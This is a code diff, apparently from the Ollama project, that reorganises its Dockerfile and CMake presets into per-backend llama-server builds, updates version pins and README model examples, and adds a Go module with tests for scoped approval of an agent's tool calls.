-      "targets": [ "ggml-vulkan" ],
-      "configurePreset": "Vulkan"
-    },
-    {
-      "name": "MLX",
-      "targets": [ "mlx", "mlxc" ],
-      "configurePreset": "MLX"
-    },
-    {
-      "name": "MLX CUDA 12",
-      "targets": [ "mlx", "mlxc" ],
-      "configurePreset": "MLX CUDA 12"
-    },
-    {
-      "name": "MLX CUDA 13",
-      "targets": [ "mlx", "mlxc" ],
-      "configurePreset": "MLX CUDA 13"
+      "name": "MLX Metal",
+      "targets": [ "ollama-mlx-backends" ],
+      "configurePreset": "MLX Metal"
     }
   ]
 }

Dockerfile

@@ -37,113 +37,171 @@ RUN dnf install -y unzip \
 ENV CMAKE_GENERATOR=Ninja
 ENV LDFLAGS=-s
 
-FROM base AS cpu
+#
+# GPU toolchain stages — provide compilers for llama-server GPU builds
+#
+
+FROM base AS cpu-deps
 RUN dnf install -y gcc-toolset-11-gcc gcc-toolset-11-gcc-c++
 ENV PATH=/opt/rh/gcc-toolset-11/root/usr/bin:$PATH
-COPY CMakeLists.txt CMakePresets.json .
-COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
-RUN --mount=type=cache,target=/root/.ccache \
-    cmake --preset 'CPU' \
-        && cmake --build --preset 'CPU' -- -l $(nproc) \
-        && cmake --install build --component CPU --strip
 
-FROM base AS cuda-11
-ARG CUDA11VERSION=11.8
-RUN dnf install -y cuda-toolkit-${CUDA11VERSION//./-}
-ENV PATH=/usr/local/cuda-11/bin:$PATH
-COPY CMakeLists.txt CMakePresets.json .
-COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
-RUN --mount=type=cache,target=/root/.ccache \
-    cmake --preset 'CUDA 11' \
-        && cmake --build --preset 'CUDA 11' -- -l $(nproc) \
-        && cmake --install build --component CUDA --strip
-
-FROM base AS cuda-12
+FROM base AS cuda-12-deps
 ARG CUDA12VERSION=12.8
 RUN dnf install -y cuda-toolkit-${CUDA12VERSION//./-}
 ENV PATH=/usr/local/cuda-12/bin:$PATH
-COPY CMakeLists.txt CMakePresets.json .
-COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
-RUN --mount=type=cache,target=/root/.ccache \
-    cmake --preset 'CUDA 12' \
-        && cmake --build --preset 'CUDA 12' -- -l $(nproc) \
-        && cmake --install build --component CUDA --strip
 
-
-FROM base AS cuda-13
+FROM base AS cuda-13-deps
 ARG CUDA13VERSION=13.0
 RUN dnf install -y cuda-toolkit-${CUDA13VERSION//./-}
 ENV PATH=/usr/local/cuda-13/bin:$PATH
-COPY CMakeLists.txt CMakePresets.json .
-COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
-RUN --mount=type=cache,target=/root/.ccache \
-    cmake --preset 'CUDA 13' \
-        && cmake --build --preset 'CUDA 13' -- -l $(nproc) \
-        && cmake --install build --component CUDA --strip
 
+FROM base AS rocm-7-deps
+ENV PATH=/opt/rocm/llvm/bin:/opt/rocm/hcc/bin:/opt/rocm/hip/bin:/opt/rocm/bin:$PATH
 
-FROM base AS rocm-7
-ENV PATH=/opt/rocm/hcc/bin:/opt/rocm/hip/bin:/opt/rocm/bin:/opt/rocm/hcc/bin:$PATH
-COPY CMakeLists.txt CMakePresets.json .
-COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
-RUN --mount=type=cache,target=/root/.ccache \
-    cmake --preset 'ROCm 7' \
-        && cmake --build --preset 'ROCm 7' -- -l $(nproc) \
-        && cmake --install build --component HIP --strip
-RUN rm -f dist/lib/ollama/rocm/rocblas/library/*gfx90[06]*
-
-FROM --platform=linux/arm64 nvcr.io/nvidia/l4t-jetpack:${JETPACK5VERSION} AS jetpack-5
-ARG CMAKEVERSION
-ARG NINJAVERSION
-RUN apt-get update && apt-get install -y curl ccache unzip \
-    && curl -fsSL https://github.com/Kitware/CMake/releases/download/v${CMAKEVERSION}/cmake-${CMAKEVERSION}-linux-$(uname -m).tar.gz | tar xz -C /usr/local --strip-components 1 \
-    && curl -fsSL -o /tmp/ninja.zip https://github.com/ninja-build/ninja/releases/download/v${NINJAVERSION}/ninja-linux-aarch64.zip \
-    && unzip /tmp/ninja.zip -d /usr/local/bin \
-    && rm /tmp/ninja.zip
-ENV CMAKE_GENERATOR=Ninja
-COPY CMakeLists.txt CMakePresets.json .
-COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
-RUN --mount=type=cache,target=/root/.ccache \
-    cmake --preset 'JetPack 5' \
-        && cmake --build --preset 'JetPack 5' -- -l $(nproc) \
-        && cmake --install build --component CUDA --strip
-
-FROM --platform=linux/arm64 nvcr.io/nvidia/l4t-jetpack:${JETPACK6VERSION} AS jetpack-6
-ARG CMAKEVERSION
-ARG NINJAVERSION
-RUN apt-get update && apt-get install -y curl ccache unzip \
-    && curl -fsSL https://github.com/Kitware/CMake/releases/download/v${CMAKEVERSION}/cmake-${CMAKEVERSION}-linux-$(uname -m).tar.gz | tar xz -C /usr/local --strip-components 1 \
-    && curl -fsSL -o /tmp/ninja.zip https://github.com/ninja-build/ninja/releases/download/v${NINJAVERSION}/ninja-linux-aarch64.zip \
-    && unzip /tmp/ninja.zip -d /usr/local/bin \
-    && rm /tmp/ninja.zip
-ENV CMAKE_GENERATOR=Ninja
-COPY CMakeLists.txt CMakePresets.json .
-COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
-RUN --mount=type=cache,target=/root/.ccache \
-    cmake --preset 'JetPack 6' \
-        && cmake --build --preset 'JetPack 6' -- -l $(nproc) \
-        && cmake --install build --component CUDA --strip
-
-FROM base AS vulkan
+FROM base AS vulkan-deps
 ARG VULKANVERSION
 RUN ln -s /usr/bin/python3 /usr/bin/python \
     && wget https://sdk.lunarg.com/sdk/download/${VULKANVERSION}/linux/vulkansdk-linux-x86_64-${VULKANVERSION}.tar.xz -O /tmp/vulkansdk.tar.xz \
     && tar xvf /tmp/vulkansdk.tar.xz -C /tmp \
     && /tmp/${VULKANVERSION}/vulkansdk -j 8 vulkan-headers \
+    && /tmp/${VULKANVERSION}/vulkansdk -j 8 spirv-headers \
     && /tmp/${VULKANVERSION}/vulkansdk -j 8 shaderc \
     && cp -r /tmp/${VULKANVERSION}/x86_64/include/* /usr/local/include/ \
     && cp -r /tmp/${VULKANVERSION}/x86_64/lib/* /usr/local/lib \
+    && cp -r /tmp/${VULKANVERSION}/x86_64/share/* /usr/local/share/ \
     && cp -r /tmp/${VULKANVERSION}/x86_64/bin/* /usr/local/bin/ \
     && rm -rf /tmp/${VULKANVERSION} /tmp/vulkansdk.tar.xz
-COPY CMakeLists.txt CMakePresets.json .
-COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
+ENV VULKAN_SDK=/usr/local
+
+#
+# llama-server stages — rebuild when LLAMA_CPP_VERSION, llama/server/, or llama/compat/ changes.
+#
+# CPU stage: llama-server + ggml-base + ggml-cpu variants → lib/ollama/
+# GPU stages: GPU backend .so only → lib/ollama/<variant>/
+#
+
+FROM cpu-deps AS llama-server-cpu
+COPY LLAMA_CPP_VERSION .
+COPY llama/server llama/server
+COPY llama/compat llama/compat
 RUN --mount=type=cache,target=/root/.ccache \
-    cmake --preset 'Vulkan' \
-        && cmake --build --preset 'Vulkan' -- -l $(nproc) \
-        && cmake --install build --component Vulkan --strip
+    cmake -S llama/server --preset cpu \
+        && cmake --build build/llama-server-cpu -- -l $(nproc) \
+        && cmake --install build/llama-server-cpu --component llama-server --strip \
+        && for lib in \
+            /usr/lib64/libgomp.so* \
+            /usr/lib64/libomp.so* \
+            /opt/rh/gcc-toolset-11/root/usr/lib64/libgomp.so* \
+            /opt/rh/gcc-toolset-11/root/usr/lib64/libomp.so*; do \
+                [ -e "$lib" ] && cp -a "$lib" dist/lib/ollama/ || true; \
+            done
+
+FROM scratch AS publish-llama-server-cpu
+COPY --from=llama-server-cpu dist/lib/ollama /lib/ollama/
+
+FROM cuda-12-deps AS llama-server-cuda_v12
+COPY LLAMA_CPP_VERSION .
+COPY llama/server llama/server
+COPY llama/compat llama/compat
+RUN --mount=type=cache,target=/root/.ccache \
+    cmake -S llama/server --preset llama_cuda_v12_linux \
+        && cmake --build build/llama-server-cuda_v12 -- -l $(nproc) \
+        && cmake --install build/llama-server-cuda_v12 --component llama-server --strip
+
+FROM scratch AS publish-llama-server-cuda_v12
+COPY --from=llama-server-cuda_v12 dist/lib/ollama /lib/ollama/
+
+FROM cuda-13-deps AS llama-server-cuda_v13
+COPY LLAMA_CPP_VERSION .
+COPY llama/server llama/server
+COPY llama/compat llama/compat
+RUN --mount=type=cache,target=/root/.ccache \
+    cmake -S llama/server --preset llama_cuda_v13_linux \
+        && cmake --build build/llama-server-cuda_v13 -- -l $(nproc) \
+        && cmake --install build/llama-server-cuda_v13 --component llama-server --strip
+
+FROM scratch AS publish-llama-server-cuda_v13
+COPY --from=llama-server-cuda_v13 dist/lib/ollama /lib/ollama/
+
+FROM rocm-7-deps AS llama-server-rocm_v7_2
+ENV CC=clang CXX=clang++
+COPY LLAMA_CPP_VERSION .
+COPY llama/server llama/server
+COPY llama/compat llama/compat
+RUN --mount=type=cache,target=/root/.ccache \
+    cmake -S llama/server --preset rocm_v7_2_linux \
+        && cmake --build build/llama-server-rocm_v7_2 -- -l $(nproc) \
+        && cmake --install build/llama-server-rocm_v7_2 --component llama-server --strip
+RUN rm -f dist/lib/ollama/rocm_v7_2/rocblas/library/*gfx90[06]*
+
+FROM scratch AS publish-llama-server-rocm_v7_2
+COPY --from=llama-server-rocm_v7_2 dist/lib/ollama /lib/ollama/
+
+FROM vulkan-deps AS llama-server-vulkan
+COPY LLAMA_CPP_VERSION .
+COPY llama/server llama/server
+COPY llama/compat llama/compat
+RUN --mount=type=cache,target=/root/.ccache \
+    cmake -S llama/server --preset vulkan \
+        && cmake --build build/llama-server-vulkan -- -l $(nproc) \
+        && cmake --install build/llama-server-vulkan --component llama-server --strip
+
+FROM scratch AS publish-llama-server-vulkan
+COPY --from=llama-server-vulkan dist/lib/ollama /lib/ollama/
+
+#
+# JetPack stages — self-contained with their own base images
+#
+
+FROM --platform=linux/arm64 nvcr.io/nvidia/l4t-jetpack:${JETPACK5VERSION} AS jetpack-5
+ARG CMAKEVERSION
+ARG NINJAVERSION
+RUN apt-get update && apt-get install -y curl ccache git unzip \
+    && curl -fsSL https://github.com/Kitware/CMake/releases/download/v${CMAKEVERSION}/cmake-${CMAKEVERSION}-linux-$(uname -m).tar.gz | tar xz -C /usr/local --strip-components 1 \
+    && curl -fsSL -o /tmp/ninja.zip https://github.com/ninja-build/ninja/releases/download/v${NINJAVERSION}/ninja-linux-aarch64.zip \
+    && unzip /tmp/ninja.zip -d /usr/local/bin \
+    && rm /tmp/ninja.zip
+ENV CMAKE_GENERATOR=Ninja
+COPY LLAMA_CPP_VERSION .
+COPY llama/server llama/server
+COPY llama/compat llama/compat
+RUN --mount=type=cache,target=/root/.ccache \
+    cmake -S llama/server --preset llama_cuda_jetpack5 \
+        && cmake --build build/llama-server-cuda_jetpack5 -- -l $(nproc) \
+        && cmake --install build/llama-server-cuda_jetpack5 --component llama-server --strip
+
+FROM scratch AS publish-llama-server-cuda_jetpack5
+COPY --from=jetpack-5 dist/lib/ollama /lib/ollama/
+
+FROM --platform=linux/arm64 nvcr.io/nvidia/l4t-jetpack:${JETPACK6VERSION} AS jetpack-6
+ARG CMAKEVERSION
+ARG NINJAVERSION
+RUN apt-get update && apt-get install -y curl ccache git unzip \
+    && curl -fsSL https://github.com/Kitware/CMake/releases/download/v${CMAKEVERSION}/cmake-${CMAKEVERSION}-linux-$(uname -m).tar.gz | tar xz -C /usr/local --strip-components 1 \
+    && curl -fsSL -o /tmp/ninja.zip https://github.com/ninja-build/ninja/releases/download/v${NINJAVERSION}/ninja-linux-aarch64.zip \
+    && unzip /tmp/ninja.zip -d /usr/local/bin \
+    && rm /tmp/ninja.zip
+ENV CMAKE_GENERATOR=Ninja
+COPY LLAMA_CPP_VERSION .
+COPY llama/server llama/server
+COPY llama/compat llama/compat
+RUN --mount=type=cache,target=/root/.ccache \
+    cmake -S llama/server --preset llama_cuda_jetpack6 \
+        && cmake --build build/llama-server-cuda_jetpack6 -- -l $(nproc) \
+        && cmake --install build/llama-server-cuda_jetpack6 --component llama-server --strip
+
+FROM scratch AS publish-llama-server-cuda_jetpack6
+COPY --from=jetpack-6 dist/lib/ollama /lib/ollama/
+
+#
+# MLX stage
+#
 
 FROM base AS mlx
 ARG CUDA13VERSION=13.0
+ARG OLLAMA_MLX_BUILD_JOBS=
+ARG OLLAMA_MLX_NVCC_THREADS=2
+ARG MLX_CUDA_RAM_MB=
 RUN dnf install -y cuda-toolkit-${CUDA13VERSION//./-} \
     && dnf install -y openblas-devel lapack-devel \
     && dnf install -y libcudnn9-cuda-13 libcudnn9-devel-cuda-13 \
@@ -154,7 +212,7 @@ ENV LAPACK_INCLUDE_DIRS=/usr/include/openblas
 ENV CGO_LDFLAGS="-L/usr/local/cuda-13/lib64 -L/usr/local/cuda-13/targets/x86_64-linux/lib/stubs"
 WORKDIR /go/src/github.com/ollama/ollama
 COPY CMakeLists.txt CMakePresets.json .
-COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
+COPY cmake cmake
 COPY x/imagegen/mlx x/imagegen/mlx
 COPY go.mod go.sum .
 COPY MLX_VERSION MLX_C_VERSION .
@@ -170,9 +228,15 @@ RUN --mount=type=cache,target=/root/.ccache \
     && if [ -f /tmp/local-mlx-c/CMakeLists.txt ]; then \
         export OLLAMA_MLX_C_SOURCE=/tmp/local-mlx-c; \
     fi \
-    && cmake --preset 'MLX CUDA 13' -DBLAS_INCLUDE_DIRS=/usr/include/openblas -DLAPACK_INCLUDE_DIRS=/usr/include/openblas \
-        && cmake --build --preset 'MLX CUDA 13' -- -l $(nproc) \
-        && cmake --install build --component MLX --strip
+    && cmake -S . -B build/mlx_cuda_v13 -DOLLAMA_MLX_BACKENDS=cuda_v13 -DBLAS_INCLUDE_DIRS=/usr/include/openblas -DLAPACK_INCLUDE_DIRS=/usr/include/openblas -DCMAKE_CUDA_FLAGS="-t ${OLLAMA_MLX_NVCC_THREADS}" ${MLX_CUDA_RAM_MB:+-DMLX_CUDA_RAM_MB=${MLX_CUDA_RAM_MB}} -DOLLAMA_PAYLOAD_INSTALL_PREFIX=/go/src/github.com/ollama/ollama/dist \
+        && cmake --build build/mlx_cuda_v13 --target ollama-mlx-cuda_v13 -- -l $(nproc) ${OLLAMA_MLX_BUILD_JOBS:+-j ${OLLAMA_MLX_BUILD_JOBS}}
+
+FROM scratch AS publish-mlx
+COPY --from=mlx /go/src/github.com/ollama/ollama/dist/lib/ollama /lib/ollama/
+
+#
+# Go build
+#
 
 FROM base AS build
 WORKDIR /go/src/github.com/ollama/ollama
@@ -190,35 +254,62 @@ ENV CGO_CXXFLAGS="${CGO_CXXFLAGS}"
 RUN --mount=type=cache,target=/root/.cache/go-build \
     go build -trimpath -buildmode=pie -o /bin/ollama .
 
+FROM scratch AS publish-go
+COPY --from=build /bin/ollama /bin/ollama
+
+#
+# Assembly stages — combine llama-server variants + GPU runtime libs
+#
+
 FROM --platform=linux/amd64 scratch AS amd64
-# COPY --from=cuda-11 dist/lib/ollama/ /lib/ollama/
-COPY --from=cuda-12 dist/lib/ollama /lib/ollama/
-COPY --from=cuda-13 dist/lib/ollama /lib/ollama/
-COPY --from=vulkan  dist/lib/ollama  /lib/ollama/
+COPY --from=llama-server-cpu      dist/lib/ollama /lib/ollama/
+COPY --from=llama-server-cuda_v12 dist/lib/ollama /lib/ollama/
+COPY --from=llama-server-cuda_v13 dist/lib/ollama /lib/ollama/
+COPY --from=llama-server-vulkan   dist/lib/ollama /lib/ollama/
 COPY --from=mlx     /go/src/github.com/ollama/ollama/dist/lib/ollama /lib/ollama/
 
 FROM --platform=linux/arm64 scratch AS arm64
-# COPY --from=cuda-11 dist/lib/ollama/ /lib/ollama/
-COPY --from=cuda-12 dist/lib/ollama /lib/ollama/
-COPY --from=cuda-13 dist/lib/ollama/ /lib/ollama/
+COPY --from=llama-server-cpu dist/lib/ollama /lib/ollama/
+COPY --from=llama-server-cuda_v12 dist/lib/ollama /lib/ollama/
+COPY --from=llama-server-cuda_v13 dist/lib/ollama /lib/ollama/
 COPY --from=jetpack-5 dist/lib/ollama/ /lib/ollama/
 COPY --from=jetpack-6 dist/lib/ollama/ /lib/ollama/
 
 FROM scratch AS rocm
-COPY --from=rocm-7 dist/lib/ollama /lib/ollama
+COPY --from=llama-server-cpu  dist/lib/ollama /lib/ollama
+COPY --from=llama-server-rocm_v7_2 dist/lib/ollama /lib/ollama
 
-FROM ${FLAVOR} AS archive
-COPY --from=cpu dist/lib/ollama /lib/ollama
+FROM --platform=linux/amd64 scratch AS amd64-archive
+COPY --from=amd64 /lib/ollama /lib/ollama/
+COPY --from=llama-server-rocm_v7_2 dist/lib/ollama /lib/ollama/
+
+FROM --platform=linux/arm64 scratch AS arm64-archive
+COPY --from=arm64 /lib/ollama /lib/ollama/
+
+FROM ${TARGETARCH}-archive AS archive
+COPY --from=build /bin/ollama /bin/ollama
+
+FROM ${FLAVOR} AS image-archive
 COPY --from=build /bin/ollama /bin/ollama
 
 FROM ubuntu:24.04
-RUN apt-get update \
+ARG APT_MIRROR=http://archive.ubuntu.com/ubuntu
+ARG APT_PORTS_MIRROR=http://ports.ubuntu.com/ubuntu-ports
+RUN sed -i \
+        -e "s|http://archive.ubuntu.com/ubuntu|$APT_MIRROR|g" \
+        -e "s|http://ports.ubuntu.com/ubuntu-ports|$APT_PORTS_MIRROR|g" \
+        /etc/apt/sources.list.d/ubuntu.sources \
+    && apt-get update \
     && apt-get install -y ca-certificates libvulkan1 libopenblas0 \
+    && sed -i \
+        -e "s|$APT_MIRROR|http://archive.ubuntu.com/ubuntu|g" \
+        -e "s|$APT_PORTS_MIRROR|http://ports.ubuntu.com/ubuntu-ports|g" \
+        /etc/apt/sources.list.d/ubuntu.sources \
     && apt-get clean \
     && rm -rf /var/lib/apt/lists/*
-COPY --from=archive /bin /usr/bin
+COPY --from=image-archive /bin /usr/bin
 ENV PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
-COPY --from=archive /lib/ollama /usr/lib/ollama
+COPY --from=image-archive /lib/ollama /usr/lib/ollama
 ENV LD_LIBRARY_PATH=/usr/local/nvidia/lib:/usr/local/nvidia/lib64
 ENV NVIDIA_DRIVER_CAPABILITIES=compute,utility
 ENV NVIDIA_VISIBLE_DEVICES=all

LLAMA_CPP_VERSION

@@ -0,0 +1 @@
+b9888

MLX_C_VERSION

@@ -1 +1 @@
-0726ca922fc902c4c61ef9c27d94132be418e945
+fba4470b89073180056c9ea46c443051375f7399

MLX_VERSION

@@ -1 +1 @@
-38ad257088fb2193ad47e527cf6534a689f30943
+de7b4ed986b6d6f55b8ace5e73c24d1ca0bea89b

Makefile.sync

@@ -1,76 +0,0 @@
-UPSTREAM=https://github.com/ggml-org/llama.cpp.git
-WORKDIR=llama/vendor
-FETCH_HEAD=ec98e2002
-
-.PHONY: help
-help:
-	@echo "Available targets:"
-	@echo "    sync                 Sync with upstream repositories"
-	@echo "    checkout             Checkout upstream repository"
-	@echo "    apply-patches        Apply patches to local repository"
-	@echo "    format-patches       Format patches from local repository"
-	@echo "    clean                Clean local repository"
-	@echo
-	@echo "Example:"
-	@echo "    make -f $(lastword $(MAKEFILE_LIST)) clean apply-patches sync"
-
-.PHONY: sync
-sync: llama/build-info.cpp ml/backend/ggml/ggml/src/ggml-metal/ggml-metal-embed.metal
-
-llama/build-info.cpp: llama/build-info.cpp.in llama/llama.cpp
-	sed -e 's|@FETCH_HEAD@|$(FETCH_HEAD)|' <$< >$@
-
-ml/backend/ggml/ggml/src/ggml-metal/ggml-metal-embed.metal: ml/backend/ggml/ggml
-	go generate ./$(@D)
-
-.PHONY: llama/llama.cpp
-llama/llama.cpp: llama/vendor
-	rsync -arvzc --delete -f "include LICENSE" -f "merge $@/.rsync-filter" $(addprefix $<,/LICENSE /) $@
-
-.PHONY: ml/backend/ggml/ggml
-ml/backend/ggml/ggml: llama/vendor
-	rsync -arvzc --delete -f "include LICENSE" -f "merge $@/.rsync-filter" $(addprefix $<,/LICENSE /ggml/) $@
-
-PATCHES=$(wildcard llama/patches/*.patch)
-PATCHED=$(join $(dir $(PATCHES)), $(addsuffix ed, $(addprefix ., $(notdir $(PATCHES)))))
-
-.PHONY: apply-patches
-.NOTPARALLEL:
-apply-patches: $(PATCHED)
-
-llama/patches/.%.patched: llama/patches/%.patch
-	@if git -c user.name=nobody -c 'user.email=<>' -C $(WORKDIR) am -3 $(realpath $<); then \
-		touch $@;                                                                           \
-	else                                                                                    \
-		echo "Patch failed. Resolve any conflicts then continue.";                          \
-		echo "1. Run 'git -C $(WORKDIR) am --continue'";                                    \
-		echo "2. Run 'make -f $(lastword $(MAKEFILE_LIST)) format-patches'";                \
-		echo "3. Run 'make -f $(lastword $(MAKEFILE_LIST)) clean apply-patches'";           \
-		exit 1;                                                                             \
-	fi
-
-.PHONY: checkout
-checkout: $(WORKDIR)
-	git -C $(WORKDIR) fetch
-	git -C $(WORKDIR) checkout -f $(FETCH_HEAD)
-
-$(WORKDIR):
-	git clone $(UPSTREAM) $(WORKDIR)
-
-.PHONY: format-patches
-format-patches: llama/patches
-	git -C $(WORKDIR) format-patch \
-		--no-signature \
-		--no-numbered \
-		--zero-commit \
-		-o $(realpath $<) \
-		$(FETCH_HEAD)
-
-.PHONY: clean
-clean: checkout
-	@git -C $(WORKDIR) am --abort || true
-	$(RM) llama/patches/.*.patched
-
-.PHONY: print-base
-print-base:
-	@echo $(FETCH_HEAD)

README.md

@@ -77,10 +77,10 @@ ollama launch openclaw
 
 ### Chat with a model
 
-Run and chat with [Gemma 3](https://ollama.com/library/gemma3):
+Run and chat with [Gemma 4](https://ollama.com/library/gemma4):
 
 ```
-ollama run gemma3
+ollama run gemma4
 ```
 
 See [ollama.com/library](https://ollama.com/library) for the full list.
@@ -93,7 +93,7 @@ Ollama has a REST API for running and managing models.
 
 ```
 curl http://localhost:11434/api/chat -d '{
-  "model": "gemma3",
+  "model": "gemma4",
   "messages": [{
     "role": "user",
     "content": "Why is the sky blue?"
@@ -113,7 +113,7 @@ pip install ollama
 ```python
 from ollama import chat
 
-response = chat(model='gemma3', messages=[
+response = chat(model='gemma4', messages=[
   {
     'role': 'user',
     'content': 'Why is the sky blue?',
@@ -132,7 +132,7 @@ npm i ollama
 import ollama from "ollama";
 
 const response = await ollama.chat({
-  model: "gemma3",
+  model: "gemma4",
   messages: [{ role: "user", content: "Why is the sky blue?" }],
 });
 console.log(response.message.content);

agent/approval.go

@@ -0,0 +1,198 @@
+package agent
+
+import (
+	"context"
+	"strings"
+	"sync"
+)
+
+type ApprovalRequest struct {
+	WorkingDir string
+	Calls      []ApprovalToolCall
+}
+
+func (r *ApprovalRequest) AddToolCall(id, name, scope string, args map[string]any) {
+	r.Calls = append(r.Calls, ApprovalToolCall{
+		ToolCallID:    id,
+		ToolName:      name,
+		Args:          args,
+		ApprovalScope: scope,
+	})
+}
+
+type ApprovalToolCall struct {
+	ToolCallID    string
+	ToolName      string
+	Args          map[string]any
+	ApprovalScope string
+}
+
+type Approval struct {
+	Allow       bool
+	AllowAll    bool
+	AllowScopes []string
+	Reason      string
+}
+
+type ApprovalPrompter interface {
+	PromptApproval(context.Context, ApprovalRequest) (Approval, error)
+}
+
+type ApprovalState struct {
+	mu       sync.RWMutex
+	allowAll bool
+	scopes   map[string]bool
+}
+
+func (s *ApprovalState) Set(allowAll bool, scopes map[string]bool) {
+	if s == nil {
+		return
+	}
+	s.mu.Lock()
+	defer s.mu.Unlock()
+	s.allowAll = allowAll
+	s.scopes = cloneApprovalScopes(scopes)
+}
+
+// GrantAll grants blanket approval for all future tool calls.
+func (s *ApprovalState) GrantAll() {
+	if s == nil {
+		return
+	}
+	s.mu.Lock()
+	defer s.mu.Unlock()
+	s.allowAll = true
+}
+
+// AllGranted reports whether blanket approval has been granted.
+func (s *ApprovalState) AllGranted() bool {
+	if s == nil {
+		return false
+	}
+	s.mu.RLock()
+	defer s.mu.RUnlock()
+	return s.allowAll
+}
+
+func (s *ApprovalState) Allows(scope string) bool {
+	if s == nil {
+		return false
+	}
+	s.mu.RLock()
+	defer s.mu.RUnlock()
+	return s.allowAll || s.scopes[scope]
+}
+
+// Apply merges an approval's scopes and allow-all flag into the state. It
+// returns true if the approval grants permission (allow-all or at least one
+// scope). It does not mutate the approval; the caller sets Allow based on the
+// returned value.
+func (s *ApprovalState) Apply(result *Approval) bool {
+	if s == nil || result == nil {
+		return false
+	}
+	s.mu.Lock()
+	defer s.mu.Unlock()
+	granted := false
+	if result.AllowAll {
+		s.allowAll = true
+		granted = true
+	}
+	if len(result.AllowScopes) > 0 {
+		granted = true
+		s.grantScopesLocked(result.AllowScopes)
+	}
+	return granted
+}
+
+// GrantScopes merges the given scopes into the state.
+func (s *ApprovalState) GrantScopes(scopes []string) {
+	if s == nil {
+		return
+	}
+	s.mu.Lock()
+	defer s.mu.Unlock()
+	s.grantScopesLocked(scopes)
+}
+
+// grantScopesLocked adds trimmed, non-empty scopes to the state. Caller must
+// hold s.mu.
+func (s *ApprovalState) grantScopesLocked(scopes []string) {
+	if s.scopes == nil {
+		s.scopes = make(map[string]bool, len(scopes))
+	}
+	for _, scope := range scopes {
+		scope = strings.TrimSpace(scope)
+		if scope != "" {
+			s.scopes[scope] = true
+		}
+	}
+}
+
+func cloneApprovalScopes(src map[string]bool) map[string]bool {
+	if len(src) == 0 {
+		return nil
+	}
+	dst := make(map[string]bool, len(src))
+	for scope, allowed := range src {
+		if allowed {
+			dst[scope] = true
+		}
+	}
+	return dst
+}
+
+func (s *Session) needsApproval(tool Tool, name string, args map[string]any) bool {
+	return ToolRequiresApproval(tool, args) && !s.allows(toolApprovalScope(tool, name, args))
+}
+
+// allows reports whether scope is permitted by the session's accumulated approval state.
+func (s *Session) allows(scope string) bool {
+	if s == nil || s.ApprovalState == nil {
+		return false
+	}
+	return s.ApprovalState.Allows(scope)
+}
+
+// applyApproval merges an approval result into the session's state and marks
+// the result as allowed when scopes or allow-all were granted.
+func (s *Session) applyApproval(result *Approval) {
+	if s == nil || result == nil {
+		return
+	}
+	if s.ApprovalState == nil {
+		s.ApprovalState = &ApprovalState{}
+	}
+	if s.ApprovalState.Apply(result) {
+		result.Allow = true
+	}
+}
+
+func (s *Session) authorizeToolCalls(ctx context.Context, req ApprovalRequest) (Approval, error) {
+	if s == nil || len(req.Calls) == 0 || (s.ApprovalState != nil && s.ApprovalState.AllGranted()) {
+		return Approval{Allow: true}, nil
+	}
+	if s.ApprovalPrompter == nil {
+		return Approval{
+			Reason: "Tool execution requires approval, but no approval prompter is available.",
+		}, nil
+	}
+
+	result, err := s.ApprovalPrompter.PromptApproval(ctx, req)
+	if err != nil {
+		return Approval{}, err
+	}
+	s.applyApproval(&result)
+	return result, nil
+}
+
+// toolApprovalScope returns the approval scope key for a tool invocation.
+// If the tool implements ScopedTool, its ApprovalScope method determines the
+// scope (e.g. shell tools scope to "<tool>\x00<command>"). Otherwise the scope
+// is the trimmed tool name.
+func toolApprovalScope(tool Tool, toolName string, args map[string]any) string {
+	if scoped, ok := tool.(ScopedTool); ok {
+		return scoped.ApprovalScope(args)
+	}
+	return strings.TrimSpace(toolName)
+}

agent/approval_test.go

@@ -0,0 +1,95 @@
+package agent
+
+import (
+	"context"
+	"strings"
+	"testing"
+
+	"github.com/ollama/ollama/api"
+)
+
+type mockTool struct {
+	name string
+}
+
+func (m mockTool) Name() string        { return m.name }
+func (m mockTool) Description() string { return "" }
+func (m mockTool) Schema() api.ToolFunction {
+	return api.ToolFunction{Name: m.name}
+}
+
+func (m mockTool) Execute(context.Context, ToolContext, map[string]any) (ToolResult, error) {
+	return ToolResult{}, nil
+}
+
+func TestToolApprovalScopeUsesScopedTool(t *testing.T) {
+	shellTool := mockScopedTool{
+		mockTool: mockTool{name: "bash"},
+		scope: func(args map[string]any) string {
+			if cmd, ok := args["command"].(string); ok {
+				cmd = strings.TrimSpace(cmd)
+				if cmd != "" {
+					return "bash\x00" + cmd
+				}
+			}
+			return "bash"
+		},
+	}
+	plainTool := mockTool{name: "edit"}
+
+	tests := []struct {
+		tool Tool
+		name string
+		args map[string]any
+		want string
+	}{
+		{shellTool, "bash", map[string]any{"command": " pwd "}, "bash\x00pwd"},
+		{shellTool, "bash", map[string]any{"command": "Get-ChildItem"}, "bash\x00Get-ChildItem"},
+		{plainTool, "edit", map[string]any{"path": "README.md"}, "edit"},
+	}
+	for _, tt := range tests {
+		if got := toolApprovalScope(tt.tool, tt.name, tt.args); got != tt.want {
+			t.Fatalf("toolApprovalScope(%q) = %q, want %q", tt.name, got, tt.want)
+		}
+	}
+}
+
+type mockScopedTool struct {
+	mockTool
+	scope func(args map[string]any) string
+}
+
+func (m mockScopedTool) ApprovalScope(args map[string]any) string {
+	return m.scope(args)
+}
+
+func TestSessionApplyApprovalScopes(t *testing.T) {
+	session := &Session{}
+	result := Approval{AllowScopes: []string{"edit", "bash\x00pwd", " "}}
+
+	session.applyApproval(&result)
+
+	if !result.Allow {
+		t.Fatal("scoped approval should allow the current request")
+	}
+	if !session.allows("edit") || !session.allows("bash\x00pwd") {
+		t.Fatal("scoped approval was not saved")
+	}
+	if session.allows("bash") || session.allows("bash\x00ls") {
+		t.Fatal("shell approval was too broad")
+	}
+	if session.ApprovalState.AllGranted() {
+		t.Fatal("allow all = true, want false for scoped approval")
+	}
+}
+
+func TestSessionApplyApprovalAllowAll(t *testing.T) {
+	session := &Session{}
+	result := Approval{AllowAll: true}
+
+	session.applyApproval(&result)
+
+	if !result.Allow || !session.allows("anything") {
